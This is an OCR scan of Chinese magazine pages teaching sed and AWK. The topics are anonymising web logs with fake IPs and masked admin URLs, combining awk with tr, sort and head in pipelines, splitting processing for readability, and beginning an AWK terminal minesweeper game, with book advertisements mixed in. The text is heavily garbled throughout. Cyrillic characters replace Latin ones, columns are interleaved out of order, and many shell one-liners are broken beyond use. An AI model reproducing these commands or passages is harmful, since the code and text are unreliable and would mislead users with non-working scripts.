ХХ.ХХ.ХХ.ХХ — - 121/Ј01/20135: 18:15:18 


+09001 ... 
ХХ.ХХ.ХХ.ХХ = = 121/ЈиЫГ/2013:18:18:235 
+09001 ... 

更 加 严谨 的 做 法 是 , 使 用 如 图 16 所 示 的 
单行 脚本 ,将 它们 蔡 换 为 伪造 的 IP 地 址 。 首 
先 我 们 定义 一 个 function гі(п) {...} РА, Ж 2% 
数 返 回 随 机 的 整数 。ri(n) 将 接收 的 整数 参数 乘 
以 一 个 0 到 1 之 间 的 随机 数 ， 将 结果 化 为 整数 。 
所 以 将 255 作 为 参数 传递 到 函数 中 ， 会 返回 一 





%9.2f F 


: 响应 时 间 ( 单 位 : 秒 ) 
%D :响应 时 间 ( 单 位 :毫秒 ) 





# awk '{sum += $NF; count++}; END{tprint (sum/count)/1000}' ассеѕѕ (о9 


615.21 


3 响应 代码 为 200 的 请 求 
# awk '$9 == 200{ 人 sum += $NF; count++}; END{ 人 print (sum/count)/1000}' access_Log 
9835.495 











у 816 ”伪造 访问 源 IP 地 址 


高 手 教 你 用 sed/AWK 5 


# awk 'function ri(n) < return int(n*rand()); } BEGIN < srand(); } + if С! ($1 in В 
randīp)) < гапаїрС%11 = sprintf("%d.%d.%d.%d", г1(255), г1(255), г1(255), г1(255)); } 


$1 = гапаїрЕ%11; print $0 }' ассеѕѕ (од 





У 17 ”隐藏 请 求 URL 


awk -F\" '{£ if ($2 ~ /admin/) { $2 = "XXXX";} print $0 }' ассеѕѕ Log 


26.61.26.247 – – [07/Ји/2013:19:58:59 +01001 ХХХХ 200 5289 - 
151.91.24.29 – – Е07/Ји1/2013:20:58:05 +0100] ХХХХ 200 21984 - 


229.150.44.17 – – Е08/Ји(/2013:11:39:36 +01001 XXXX 301 345 - 
229.150.44.17 – – Е08/Ји(/2013:11:39:36 +01001 ХХХХ 200 22158 
117.107.209.228 - - C09/Jul/2013:05:31:20 +0100]J XXXX 200 228 - 





个 小 于 255 的 整数 。 这 样 , 我们 就 可 以 使 用 
sprintfO 将 它们 格式 化 为 了 下地 址 的 形式 ， 并 将 
其 蔡 换 到 持 有 访问 源 IP 了 地址 的 第 一 个 字段 ($1 ) 
中 。 为 了 能 在 日 志 中 多 次 使 用 同一 个 伪造 的 IP 
地 址 ， 我 们 将 其 存 人 randip[] 这 一 关联 数组 中 。 
最 后 执行 “print $0 ”将 隐藏 的 信息 打印 出 来 。 





隐藏 请 求 URL 

日 志 中 的 URL 有 时 也 可 能 含有 机 密 的 信息 。 
执行 图 17 所 示 的 单行 脚本 ,可 以 隐藏 请 求 中 
的 URL。 这 里 我 们 使 用 “awk -Е\" '{print $2)” 
这 样 的 基本 形式 取出 Request Line， 并 添加 条 
件 句 “if ($2 ~ / admin)”, Æ URL F 6 & M ig 
“admin” 的 字符 串 ， 就 将 其 蔡 换 为 “XXXX”， 
最 后 使 用 “print $0” 打 印 出 隐藏 的 日 志 。 





Mozilla/5.0 
DoCoMo/2.0 

Mozilla/4.0 
Mozilla/4.0 
MSIE 7.0 


Eses 


急 急忙 忙 地 加 大 家 介绍 了 使 用 sed/AWK 处 
理 日 志 的 几 种 方法 ， 不 知道 读者 朋友 们 感觉 如 
何 。 其 实 这 样 的 技术 并 非 仅仅 能 用 在 处 理 日 志 
上 ， 好 好 思考 的 话 ， 它 们 还 可 以 被 用 在 其 他 各 
种 各 样 的 地 方 。 


“本 文 参考 的 文章 

“y-kawaz 外 日 记 ”http://d.hatena.ne.jp/ 
y-kawaz/20110713/1310532417 

“The Art of Web ”http://www.the-art-of-web.com/ 
system/logs/#.Ud5ZY Raz; WG 

“А day іп the life of...” http://www.adayinthelifeof.nl/ 
2010/12/11/sed-awk-examples/ 


ER 






1 Linux Shell 脚 本 攻略 
Ш n a (620) 


= ise 


本 书 同 读者 展现 了 如 何 有 效 地 利用 shell 完 成 复杂 的 任务 。 从 shell 的 基础 知识 开始 ， 学 习 人 入 
单 命 令 的 用 法 ， 对 各 类 文件 进行 操作 。 随 后 讲解 了 文本 处 理 、Web 交 互 、 备 份 、 监 视 以 及 其 他 
系统 管理 任务 。 第 2 版 进行 了 全 面 修 J ， 精 选 极 具 实 用 价值 的 技巧 ， 让 你 的 日 党 工作 更 加 轻松 。 





ay 
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UNIX 工 程 师 的 爱好 


从 现在 开始 sed/AWK 再 入 门 








Кот» sed #0 AWK 


USP 之 友协 会 


人 至此， 我 们 向 大 家 介绍 了 sed 和 AwWK 所 能 完成 的 不 同 任务 。 但 是 在 有 些 时 候 ， 如 果 仅 仅 使 用 sed 或 者 AWK 进 行 
全 部 的 数据 处 理工 作 ， 那 将 会 十 分 辛苦 。 在 UNIX 环 境 中 ,将 sed、AWK 与 其 他 命令 组 合 使 用 是 十 分 重要 的 。 本 节 
束 向 大 家 讲解 具体 的 实践 技 15。 


У / ЕЕ — 产业 技术 大 学 院 大 学 “Twitter@ryuichiueda 1/ P3 


有 着 十 分 强大 的 独立 工作 能 力 ， 但 除 此 之 外 ， 








F: f 


大 家 好 ! 我 是 上 田 。 后 文 的 连载 “大 彻 大 
悟 shell 脚本 ”也 是 由 我 执笔 的 。 在 “大 彻 大 悟 
shell HK” F, RHK EKRANA T H 
前 在 操作 系统 以 及 基础 设施 配置 中 广泛 使 用 的 
shell 脚 本 是 如 何 被 用 在 文本 处 理 以 及 GCI 中 的 。 

在 该 连载 中 ， 因 为 需要 精细 地 处 理 文 本 ， 
所 以 sed 和 AWK 登场 的 次 数 十 分 频繁 。 当 普通 
命令 无 法 进行 处 理 时 ， 这 两 个 家 伙 通 常 都 会 出 
现 。sed 和 AWK 虽 然 是 像 其 他 UNIX 工具 一 样 ， 








У 1 使 用 AWK(gawk) 以 及 sed(gsed) 生 成 HTML 的 table 


从 Excel 中 复制 并 粘贴 ， 保 存 文件 | 
$ cat hoge 

1 3 
5 6 





在 ShellScript 编 程 中 ， 或 多 或 少 都 会 起 到 瑞士 
ZE JIJR EH. 

例如 ， 假 设 我 们 想 从 某 热 门 表格 处 理 软件 
中 取出 相应 栏 位 的 数字 ， 并 使 用 这 些 数字 生 
成 HTML 的 table 和 2。 这 时 首先 需要 从 Excel 中 将 
数据 复制 到 Vim 中 ， 并 保存 文件 。 之 后 如 图 1 
所 示 遍 历 文件 (关于 gsed 以 及 gawk 请 参考 专栏 














O 这 里 以 及 后 文中 提 到 的 某 热门 表格 处 理 软件 是 指 Microsoft 
Office 中 的 Excel。 

D 其 实 本 来 是 想 生 成 TeX 的 表格 ,但 是 因为 使 用 人 数 不 多 ， 
所 以 便 修改 为 了 了 HTML 表格 。 


使 用 单行 脚本 实现 ( 因为 是 使 用 后 便 会 丢弃 的 单行 脚本 ， 所 以 大 家 不 用 勉强 上 自己 去 看 !) 


$ cat hoge | 


РАЗ ТАЛА, РА Т Бї, Н, ШЕГУ: олы; 1 ә "255$ 5<&// oP Nm/ | 


gsed 's/<td/\t\t&/' | gsed '5;</жіг;\1&; 


gawk 'BEGIN{print "<table>"}{print}END{print "</table>"}' 


<table> 
<tr> 
<td>1</td> 
<td>2</td> 
<td>3</td> 
</tr> 
<tr> 
<td>4</td> 
<td>5</td> 
<td>6</td> 
</tr> 
</table> 











ШЖ 在 Mac 中 使 用 sed 和 AWK 时 需要 注意 的 地 方 





作为 假定 环境 。 通 过 GUI 应 用 程序 (主要 指 某 Office 
产品 ) 和 终端 的 无 缝 链接 ， 互 相 取 得 各 自 的 优点 。 
命令 行 的 优点 也 可 以 更 好 地 上 友 挥 。 

但 是 Mac 和 其 他 环境 (尤其 是 Linux ) 相 比 还 是 
= тк н йы ШР ЕЖА, а= 
用 Mac， 但 在 书写 原稿 的 时 候 ， 因 为 需要 向 大 家 介 
绍 一 下 具体 哪里 不 一 样 ， 所 以 一 直觉 得 十 分 头疼 。 

在 这 里 向 大 家 介绍 一 下 最 低 限度 的 区 别 。 在 图 
1 和 图 2 中 ,使 用 了 gsed、gawk， 指 的 是 GNU ѕеа. 
GNU awk, 和 Linux 的 sed、awk 几乎 ”是 同样 的 东西 。 


+ 2 ”从 手头 的 文本 文件 生成 CSV 文件 


$ cat data 

山田 ,上田 一 组 123 

ЕҢ и е: 456 

$ cat data | gsed !'5/^/"/' | 

gsed 's/$/"/' | gsed 's/ /","/g' | nkf 
-sLwx > data.csv 


$ nkf -w data.csv 
AWATEA "123" 
"ЗЕН HH "456" 
$ open data.csv 


〈 生 成 某 表 格 处 理 软件 ) 





部 分 ) 虽然 也 可 以 使 用 编辑 带 的 蔡 换 功能 3 
实现 , 但 是 笔者 当时 忘记 了 如 何 进行 隔行 替换 ， 
所 以 便 使 用 单行 脚本 来 实现 了 。 

反 过 来 说 ， 要 从 终端 中 生成 某 热 门 表格 处 
理 软件 的 格式 ， 可 以 像 图 2 那样 做 。 

像 这 样 ， 如 果 记 住 了 sed 以 及 AWK 的 使 用 
方法 ,那么 在 工作 中 需要 进行 文本 格式 的 变换 
时 ， 往 往 瞬间 就 可 以 完成 任务 。 


更 深入 地 使 用 sed 和 
AWK 


本 章 的 标题 叫 作 “从 shell 脚 本 看 sed 和 
AWK”。 虽 然 sed 以 及 AWK 作 为 单独 的 一 条 命 
令 可 以 做 很 多 事 , 但 是 如 果 在 shell 脚 本 或 者 




















笔者 在 写 这 篇 文章 的 时 人 息 ， 尽 量 将 Mac( OSX) 


高 手 教 你 用 sed/AWK 


这 里 之 所 以 说 “几乎 "， 是 因为 在 Ubuntu 中 使 用 的 
awk 其 实 是 nawk，CentOS 中 使 用 的 awk 又 是 GNU 
awk， 虽 然 都 是 Linux， 但 还 是 不 太一 样 。 
Mac 中 默认 的 sed、awk 总 给 人 一 种 不 好 用 的 感 ， 

觉 。 尤 其 是 没 办 法 简单 地 使 用 sed 进行 换行 处 理 ，| 
常常 是 事倍功半 ， 所 以 请 大 家 直接 使 用 GNU sed。 | 
gsed、gawk 可 以 使 用 MacPorts、Homebrew 进 
行 安装 、 使 用 。 下 面 是 使 用 Homebrew 时 的 安装 方法 。 \ 


$ brew install gawk gnu-sed 





shell 上 使 用 的 话 ， 便 可 以 使 用 管道 对 数据 进行 
分 步 处 理 。 也 就 是 说 ,在 面 对 同 样 的 数据 时 ， 
既 可 以 在 shell 脚本 中 编写 一 个 或 者 两 个 巨大 的 
AWK 代 码 对 其 进行 处 理 ， 也 可 以 将 100 条 或 
者 200 条 awk 命令 串联 起 来 进行 处 理 。 本 文 将 
对 这 种 方式 进行 着 重 介绍 。 

笔者 个 人 从 来 只 将 sed 和 AWK 作 为 shell 
脚本 中 的 命令 使 用 。 这 里 尽 可 能 地 像 其 他 命令 
一 样 ， 将 每 一 条 awk 或 者 sed 命 令 进 行 的 处 理 
缩减 到 最 小 ， 使 用 管道 将 它们 串 起 来 。 

使 用 这 种 方法 有 两 个 很 大 的 优点 。 

















“可 以 提高 处 理 速度 
“可 以 将 处 理 进行 “外 包 ” 


下 面 按 顺 序 回 大 家 说 明 。 
的 提高 处 理 速度 


在 使 用 管道 进行 数据 的 输入 输出 时 ， 所 有 
的 命令 都 是 并 行 执 行 。 如 果 各 条 命令 的 处 理 负 
向 基本 相同 , 那么 便 可 以 完全 榨 干 CPU 的 性 能 ， 
使 全 部 的 命令 在 CPU100% 负 荷 的 状态 下 执行 。 
有 意思 的 是 ， 上 了 年 纪 的 开发 者 认为 管道 以 及 
进程 调度 往往 并 不 是 那么 有 效率 ， 而 年 轻 的 开 
发 者 几乎 从 不 使 用 管道 ， 所 以 管道 不 论 在 哪个 
年 龄 层 都 不 怎么 受 欢迎 。 
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从 现在 开始 sed/AWK BAJ 





1 UNIX 工 程 师 的 喜好 
特辑 





不 过 受 不 受 欢 迎 并 不 重要 ， 只 要 看 了 图 3 
的 例子 ， 就 无 需 多 说 什么 了 。 在 笔者 只 有 两 个 
СРО 内 核 的 MacBook Air 上 ， 可 以 看 到 同样 的 
处 理 命令 ， 使 用 管 着 将 它们 分 开 后 ， 便 会 提早 
720 

进程 管理 以 及 进程 间 的 通信 是 关乎 操作 系 
统 的 “威信 ”的 基础 功能 ， 至 今 一 下 处 于 持续 
改 民 的 状态 。 根 据 目 前 不 断 增加 的 CPU Ж 
数 来 看 ， 改 民 的 结果 是 值得 期 竺 的 。 虽 然 我 们 
应 该 积极 地 使 用 管道 对 数据 进行 并 行 处 理 ， 但 
即使 我 们 不 去 刻意 地 使 用 ， 也 会 很 自然 地 接触 
到 它 。 


С) вине “Мы” 


大 家 可 能 不 清楚 将 处 理 “外 包 ” 是 什么 意 
思 。 我 们 使 用 AWK 为 例 来 看 一 下 。 

例如 ， 对 于 如 图 4 所 示 的 输入 文本 ， 我们 
来 使 用 AWK 实现 “去 除 第 一 列 数字 中 的 逗号 ， 
并 将 第 一 列 的 数字 和 第 二 列 的 数字 相 乘 后 取 绝 
对 值 ， 之 后 输出 最 大 的 三 个 ”。 























有 图 3 将 sed 的 处 理 进行 拆 分 后 ， 处 理 速度 得 到 提高 


将 从 一 到 一 干 万 的 数字 中 的 0、1 、2 替换 为 汉字 
$ time seq 1 10000000 | 
sed -e 's/1/Ẹ/g' -e 's/0/ 零 /g' -e 
"6/2/9{,/9' > /dev/null 


real 0m24.216s 

user Om27 . 3805 

sys 0m0. 093s 

将 同样 的 处 理 拆 分 为 3 条 sed 命 令 

$ time seq 1 10000000 | 

sed '5/1/2/9' | sed '5/0/2/9' | 
sed '5/2/5/9' > /dev/null 


real Om16.451s 
user @т49.5@25 
sys 0т0.2795 





У 4 输入 的 文本 


$ саї даїа 
-921 ,231 3 
РЛ 12 


-1121 -124 
121,129 14 
1,183 120 








首先 编写 如 图 5 所 示 的 代码 , 一 切 工 作 正 党 。 

但 是 ， 如 采 仅 仅 是 为 了 去 除去 号 而 调用 
gsub 汕 数 ， 为 了 取 绝 对 值 而 使 用 三 日 运算 符 的 
话 , 还 不 如 像 图 6 那样 , 使 用 tr 命令 进行 预 处 理 ， 
这 样 即 可 轻松 地 去 除 豆 号。 有 了 这 种 格式 的 
输入 , 我 们 的 AWK 代码 便 可 以 缩短 成 图 7 那样 。 

但 是 这 样 还 是 太 麻 烦 了 ,而 且 END 中 的 
处 理 还 是 很 长 。 另 外 谁 都 知道 排序 可 以 使 用 
Sort 命令 ， 取 出 前 三 位 可 以 使 用 head т< 

最 后 ，top-3-1.awk 就 变 成 如 图 8 所 示 的 单 
行 脚本 了 。AWK 能 做 的 也 就 剩 下 计算 乘法 这 
一 件 事 了 。 

像 这 样 的 处 理 ， 不论 使 用 什么 语言 进行 编 
写 ， 最 后 的 代码 可 能 都 会 比 上 述 单行 脚本 要 更 
长 更 厅 烦 。 有 趣 的 是 ， 即 使 大 家 不 知道 图 8 的 
gawk 以 外 的 命令 ， 只 知道 sed 和 AWK 这 两 条 
命令 ， 也 可 以 像 网 9 那样 符 换 各 个 命令 的 内 容 。 
要 是 使 用 其 他 语言 来 编写 这 样 的 代码 ， 那 么 代 
码 的 长 度 是 可 想 而 知 的 。 

下 面 的 比喻 可 能 不 是 十 分 恰当 ， 但 是 在 笔 
者 看 来 ,使 用 省 道 将 各 个 命令 串 起 来 时 的 乐趣 ， 


























O 在 这 里 tr 指定 的 字符 串 是 ,~-， 如 果 反 过 来 写 的 话 ， 会 被 
解释 成 -<d 和 --help 这 样 的 选项 ， 从 而 无 法 正 篆 工作 。 
但 是 如 果 写 成 tr -d --'-,' 这 样 , 使 用 一 -来 表示 “后 
面 已 经 没有 选项 了 ”就 没有 问题 。 在 许多 其 他 的 命令 中 
同样 也 可 以 使 用 --。 


有 图 5 仅仅 使 用 AWK 编 写 的 代码 


$ cat top3-1.awk 
#!/usr/Llocal/bin/gawk -f 


{ 

gsub(/,/,"",$1); 

num = $1ж$2; 

matLNRJ = num>0?num:-num; 
} 
END{ 


asort(mat); 
for(j=NR; ]>=МВ-2;]——){ 
print mat[j]; 


} 

$ cat data | ./top3-1.awk 
2763693 

1695806 

253572 








有 图 6 使 用 tr 对 数据 进行 预 处 理 


$ cat data | їг =d ш 
921231 3 
21131 12 
1121 124 
121129 14 


1183 120 


有 图 8 命令 和 AWK 并 用 实现 单行 脚本 


$ саї дата | tr =а = | 

gawk '{print $1*$2}' | sort -nr | head В 
= 

2763693 

1695806 

253572 





就 像 是 “AWK 是 慢车 ，sed 是 快车 ， 其 他 命令 
就 是 特快 或 者 飞机 ”。 笔 者 个 人 认为 AWK 仪 仅 
进行 整数 部 分 的 乘法 计算 就 足够 了 了 。 大 家 可 能 
会 觉得 怎么 能 在 讲 sed 1 АМК 的 特辑 中 称呼 
АМК 是 “慢车 ” 呢 ? 但 是 有 时 如 果 不 减速 行驶 ， 
我 们 甚至 可 能 无 法 前 进 ， 所 以 “慢车 ”是 十 分 
重要 的 。 在 单行 脚本 以 及 shell 脚 本 中 ， 可 以 说 
AWK 是 保证 我 们 可 以 随机 应 变 的 重要 工具 。 


实践 ! 优化 AWK 
和 sed 


接 下 来 将 向 大 家 讲解 如 何 进一步 优化 
АМК 以 及 sed 代码 。 这 样 一 来 ， 大 家 在 编写 单 
行 脚本 时 便 可 以 有 效 地 减少 失误 ， 编写 的 shell 
脚本 也 将 会 更 加 具有 可 读 性 。 

ÇO 提前 清理 需要 处 理 的 数据 

像 之 前 所 举 的 使 用 tr 去 除 喜 号 和 减 号 的 例 

子 一 样 ， 在 获取 输入 数据 之 前 ， 尽 可 能 地 将 数 


据 加 工 成 适合 处 理 的 格式 是 一 项 十 分 重要 的 技巧。 
举 一 个 再 简单 一 些 的 例子 。 




















$ echo {1..10} 


123456789 10 
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从 shell 脚 本 看 sed 和 AWK иго 


” 7 ”因为 是 预 处 理 过 的 数据 ， 所 以 代码 变 短 了 


$ cat top35-2 .awk 

#! /иѕг/ оса /бїіп/дамк -f 

{ matLNRJ = $1*$2 } 

END{ 
аѕогі(таї); 
for(j=NR;j>=NR-2;j--){ 

print matLj]; 

} 





УЕ 9 使 用 sed 和 AWK 蔡 换 各 个 命令 的 内 容 


$ cat data | sed '$/Г,-1//д' | gawk В 
'{print $1*$2}' | 

gawk '{aCNR]=$1} 
END{asort(a);for(i=NR;1>=1;1i--){print В 
а[11}}' | 

gawk 'NR<=3' 





其 写成 


$ echo {1..10} | 
awk '{for(i=1;i<=NF;i++){printf $i*2 " В 
EP print 7! 


不 如 写成 


$ echo {1 107 | tr AS 

awk '{print $1*2}' | xargs 

2 46810 12 14 16 18 20 

即 先 使 用 tr 进行 分 组 ， 之 后 使 用 xargs 将 结果 
传人 awk 命令 中 ,这 样 比较 不 容易 出 现 错 误 。 
和 使 用 shell 脚本 进行 比较 的 话 ， 会 发 现 使 用 了 
for 语 句 后 ， 代 码 的 可 谈 性 束 不 如 使 用 管 庆 将 
命令 并 行 的 写法 高 。 图 10 比较 了 它们 的 不 同 。 











vÆ 控制 AWK 代 码 之 后 ， 代 码 将 具有 更 高 的 可 


读 性 


$ cat multi.sh 
#!/bin/bash 


#{У1У18 9 awk 

echo {1..10} 

gawk '++#огСт=1;1<=МЕ;1++)\ 
аа оез 


{printf $1*2 " 


# 相 友 
echo {1..10} | 
tr ' ' '\n'! | 
awk '{print $1*2}' | 
xargs 








61 





62 


从 现在 开始 sed/AWK 再 入 门 





1 UNIX 工 程 师 的 喜好 
特辑 


下 面 介 绍 一 个 sed 的 例子 。 针 对 下 面 这 个 
邮编 号 码 列 表 ， 我 们 希望 为 没有 连 字 符 的 号 人 码 
添加 上 连 字 符 。 


$ cat zip 
1234312 
101-1101 


123-1101 
9939989 





如 果 使 用 sed 的 话 ， 我 们 就 可 以 使 用 正则 
表达 式 像 下 面 这 样 实现 。 


$ cat zip | gsed '/^C0-91\{7\}$/s/^. > 
/&-/' 





不 过 说 实话 有 点 要 小 聪明 的 感觉 。 像 下 面 这 样 ， 
先 将 所 有 的 连 字 符 除 去 ， 之 后 统一 进行 添加 就 
足够 了。 





$ їг =d '–' < 21р | sed '5/^.../8-/' 
123-4312 
101-1101 


123-1101 
993-9989 








可 以 使 用 这 个 技巧 进行 如 下 所 示 的 一 般 化 
处 理 。 
能 会 j 进行 处 理 
“因为 很 多 命令 以 行为 单位 进行 处 理 ， 所 
以 需 提 前 将 输入 内 容 修 改 成 这 样 


ÇO 在 记录 中 写 入 中 间 数 据 


当真 正 需 要 进行 的 处 理 比较 难 时 ， 可 以 先 
在 处 理 的 对 象 上 进行 一 些 标 记 ， 并 临时 保存 计 
算 的 中 间 数 据 ， 之 后 再 使 用 其 他 命令 对 其 进行 
进一步 处 理 。 

例如 ， 针 对 如 图 11 所 示 的 考试 分 数列 表 ， 
我 们 希望 以 如 下 规则 进行 学 分 的 计算 。 


,如 果 分 数 在 60 以 上 ,给 1 个 学 分 
.但 是 如 果 必 修 A 和 必修 B 合 计 超 过 140 分 
以 上 ， 那 么 给 予 两 个 学 分 


SIer 看 到 像 这 样 的 业务 逻辑 条 件 分 牙 ， 可 





能 会 高 兴 得 不 得 了 ， 但 是 我 们 不 可 以 将 很 长 的 
AWK 单 行 脚本 作为 shell 脚本 来 使 用 。 如 果 像 
图 12 这 样 的 代码 突然 出 现在 shell 脚本 中 ， 读 
这 段 代 码 的 人 可 能 立刻 就 想 收拾 东西 回 家 了 。 

像 这 样 的 处 理 本 质 上 有 一 些 麻烦 ， 没 有 办 
法 做 到 完全 的 简化 ,但 至 少 我 们 可 以 将 处 理 分 
成 一 个 一 个 的 小 问题 来 看 待 。 在 代码 清单 1- Ф) 
中 ， 首 先 使 用 awk 单独 计算 学 分 ， 然 后 将 计算 
的 结果 直接 添加 到 记录 后 (第 四 列 ) 输 出 。 之 后 
的 代码 清单 1-@ 使 用 awk 计算 两 项 科目 的 分 数 
之 和 ， 如 果 在 140 分 以 上 ， 就 将 第 四 列 的 内 容 
替换 为 2。 

像 这 样 的 编写 方法 ， 可 以 使 用 管道 直接 将 
代码 清单 1- 中 中 途 修 改过 的 数据 送 入 下 一 项 处 
理 。 代 码 清单 1-@ 的 awk 代码 不 需要 做 什么 特 
别 的 准备 ， 只 需要 直接 替换 $4 中 的 数据 就 可 
以 了 , 十 分 简单 。 

与 其 在 一 条 awk 命令 中 传递 变量 ， 我 们 应 
该 活用 上 面 这 种 简单 的 方法 。 先 想 办 法 将 中 途 
计算 的 结果 变 成 标准 输入 ， 并 重新 整理 下 思路 ， 
之 后 再 使 用 其 他 awk 命令 进行 处 理 ， 这 样 写 的 
人 将 会 十 分 轻松 。 

代码 清单 1 中 虽然 加 入 了 注释 , 但 是 光 从 
分 割 的 部 分 来 看 处 理 的 结果 ， 几 乎 和 学 分 计算 
的 规则 一 样 ， 以 一 种 同样 的 处 理 方式 在 进行 。 




















有 图 11 考试 分 数 的 列表 


$ cat test result 
#5 ИВА ШВ 
001 45 


002 64 
003 58 
004 70 





У 812 仅 使 用 一 条 AWK 命 令 时 的 代码 


计算 学 分 

$ tail -n +2 test result | 

数学 分 。 加 起 来 达到 140 分 时 ， 将 学 分 改 为 2 

gawk '<р=0;1#(С$%2>=60) <р++}1#(%3>=60) {p++}\ 
1f($2+$3>=140){p=2};print $0,p}' 


001 45 80 1 
002 64 70 2 
003 58 83 2 
004 70 60 2 
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У (10581 将 处 理 分 为 两 个 阶段 ， 代 码 也 分 为 两 个 部 分 


### 计算 学 分 ### 

tail -n +2 test result | 

# 若 分 数 超过 60 分 ， 则 在 $4 中 记录 1 个 学 分 

gawk '{p=($2>=60)?1:0;p+=($3>=60)?1:0;print $0,p}' | -0 
# 若 两 项 科目 的 分 数 之 和 超过 140 分 ， 则 修改 为 两 个 学 分 

данк '{$4=($2+$3>=140)?2:$4;print}' 一 





代码 本 里 虽然 比较 星 深 难 习 ,但 是 只 要 坚持 编 
写 注释 ， 那 么 在 不 是 改写 的 情况 下 ， 束 可 以 不 
读 人 代码， 只 看 注释 束 够 了 。 对 于 其 他 读 代 人 码 的 
人 来 说 ， 也 可 以 更 好 地 理解 处 理 思 


"不 要 编写 过 长 的 AWK 和 sed 人 代码， 将 它 
们 拆 分 成 更 小 的 单位 进行 编写 

“事先 使 用 其 他 命令 处 理 AWK 和 sed 的 输 
入 数据 


а 写 在 最 后 话 虽 然 是 这 么 说 ,但 这 主要 是 针对 有 一 定 

使 用 经 验 的 人 来 说 的 ， 对 于 从 来 没有 使 用 过 sed 

本 文 就 sed 和 AWK 在 shell 脚 本 中 的 使 用 和 AWK 的 人 来 说 ， 首 先 开始 使 用 才 是 关键 。 稍 
技巧 进行 了 讲解 。 笔 者 的 主张 十 分 简单 ， 就 是 微 熟练 后 便 会 觉得 UNIX 环境 真是 很 方便 。 





























已 经 多 次 提 及 的 下 面 两 条 。 在 shell 脚本 和 单行 
脚本 中 ， 





ШАДЕН 


Linux shel 脚本 编程 入 门 


Linuxshell „ме 
= | ч 
脚本 编程 入 门 ө 涵盖 Linux 学 习 中 必 知 的 shell( Bourne shell, Bash shell ) 指 令 和 Linux 全 局 系统 要 素 
° 包括 Linux 服 务 器 和 后 入 式 Linux 中 必须 掌握 的 基础 知识 
ө 通过 对 Linux 服务器 运行 的 核心 一 一 shell 脚 本 编程 的 讲解 和 举例 ， 帮 助 读者 提高 技术 水 平 


[== | 





= 


本 书 向 读者 展现 了 如 何 有 效 地 利用 shell 完 成 复杂 的 任务 。 从 shell 的 基础 知识 开始 ， 学 习 
简单 命令 的 用 法 ， 对 各 类 文件 进行 操作 。 随 后 讲解 了 文本 处 理 、Web 交 互 、 备 份 、 监 视 以 及 


"Р ЕР ИР ЕГ ron 


кшп - 其 他 系统 管理 任务 。 第 2 版 进行 了 全 面 修订 ， 精 选 极 具 实 用 价值 的 技巧 ， 让 你 的 日 常 工作 更 
加 轻松 。 
Linux AFIT shel 脚本 胸 程 大 全 (种 2 厂 ) _ 
。 亚马逊 书店 五 星 推 荐 


。 轻松 全 面 擎 握 命令 行 和 shell 


本 书 是 一 本 关于 Linux 命 令 行 与 shell 脚 本 编程 的 全 面 教程 。 全 书 分 为 四 部 分 : 第 一 部 
分 介绍 Linux shell 命 令 行 ; 第 二 部 分 介绍 shell 脚 本 编程 基础 ; 第 三 部 分 深入 探讨 shell 脚 本 
编程 的 高 级 内 容 ; 第 四 部 分 介绍 如 何在 现实 环境 中 使 用 shell 脚 本 。 本 书 不 仅 涵 盖 了 详尽 的 
动手 教程 和 现实 世界 中 的 实用 信息 ， 还 提供 了 与 所 学 内 容 相关 的 参考 信息 和 背景 资料 。 





本 书 内 容 全 面 , 语言 简练 ,示例 丰富 , 适合 于 Linux 系统 管理 员 及 Linux 爱好 者 阅读 参考 。 
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从 现在 开始 sed/AWK 再 入 门 






一 一 一 一 一 
2 ~ 


UNIX 工 程 师 的 爱好 
地 辑 ] 


` 
% 
~ 
“е Ad 
3% "aw 


”深入 AWK 编程 


X/H takubo.morio@gmail.com TwitterlID:@takubo_morio 译 / 卫 吴 


AWK 是 一 门 多 用 途 的 计算 机 编程 语言 。 在 本 节 中 ， 我 们 将 向 大 家 介绍 在 文本 处 理 之 外 ， 如 何在 不 依赖 外 部 扩 


展 的 情况 下 ， 将 AWK 作 为 一 门 通用 的 编程 语言 来 使 用 。 


rs > 


在 大 家 的 眼中 ,好像 AWK 只 是 一 个 可 以 

处 理 文本 的 命令 而 已 。 但是， 实际 上 AWK 是 
- 门 有 着 许多 用 途 的 计算 机 编程 语言 。 

例如 ，AWK 标 准 库 中 提供 了 log、sin、 
atan2 这 样 的 函数 ， 是 不 是 很 容易 联想 到 可 以 
使 用 AWK 进行 数值 计算 呢 ? 笔者 在 工作 中 
会 使 用 AWK 进行 数值 处 理 ， 但 是 AWK 能 做 的 
事 还 远 不 止 如 此 。 本 节 就 将 介绍 AWK 在 文本 
处 理 以 外 的 实际 使 用 方法 。 


使 用 AWK 进行 
终 亲 编程 
GO 编 写 在 终端 运行 的 扫雷 游戏 
由 于 AWK 通 党 运行 在 终端 上 ， 所 以 本 证 
将 首先 使 用 AWK 在 终端 上 进行 编程 。 这 里 将 
以 一 个 名 叫 AwkMine 的 终端 扫雷 游戏 为 例 ， 向 
大 家 讲解 AwkMine 的 各 个 功能 是 如 何 实现 的 。 
图 1 是 AwkMine 运 行 时 的 样子 。 其 中 1 个 
字符 表示 1 个 单元 , 字符 的 意义 如 表 1 所 示 ， 
操作 的 方法 如 表 2 所 示 。 


GO 实时 按键 输入 
首先 是 按键 输入 。AWK 可 以 使 用 getline 


























D 就 是 所 谓 的 能 入 式 工程 师 。 





获取 用 户 的 输入 ,但 是 使 用 getline 的 情况 下 ， 
必须 要 在 用 户 按 下 之 后 ，AWK 才 可 以 获 
取 输 入 的 内 容 。 但 是 AwkMine 必须 要 实现 在 用 
户 按 下 按键 的 瞬间 移动 光标 。 因 为 AWK Ж 
无 法 进行 这 种 处 理 ， 所 以 这 里 调用 外 部 的 stty 
和 dd 命令 。 

那么 就 让 我 们 来 试 试看 吧 。 在 执行 代码 清 
单 1 中 的 脚本 后 按 下 任意 按键 。 可 以 看 到 ,在 
按键 按 下 后 画面 中 立刻 就 有 了 输出 (图 2 )。 另外， 
在 程序 中 输入 [名 键 便 可 退出 。 

代码 清单 1 中 第 11 行 的 stty 是 修改 终端 环 





mi >< >< >< 
>< >< >< >< >< >< >< >< 


Х 
Х 
Х 
Х 
Х 
Х 
Х 
Х 


Left of Mine : 


vI AwkMine 各 个 单元 中 字符 的 意义 















ғ 符 = Мм 
X 疝 未 打开 的 单元 
已 经 打开 且 没 有 地 雷 的 单元 ( 相 令 单 
元 都 没有 地 雷 ) 


数字 (1~8 ) | 已 经 打开 且 没 有 地 雷 的 单元 (数字 表 
示 相 邻 单元 中 地 雷 的 数量 ) 





Р 使 用 旗帜 标记 的 时 元 











* 地 雷 ( 图 1 中 没有 ) 





3-0 ѕеа/лМк EE: яая == 
深入 AWK 编程 








EIME o I A A im P AREH Buffering Z RIKMA EE T o 





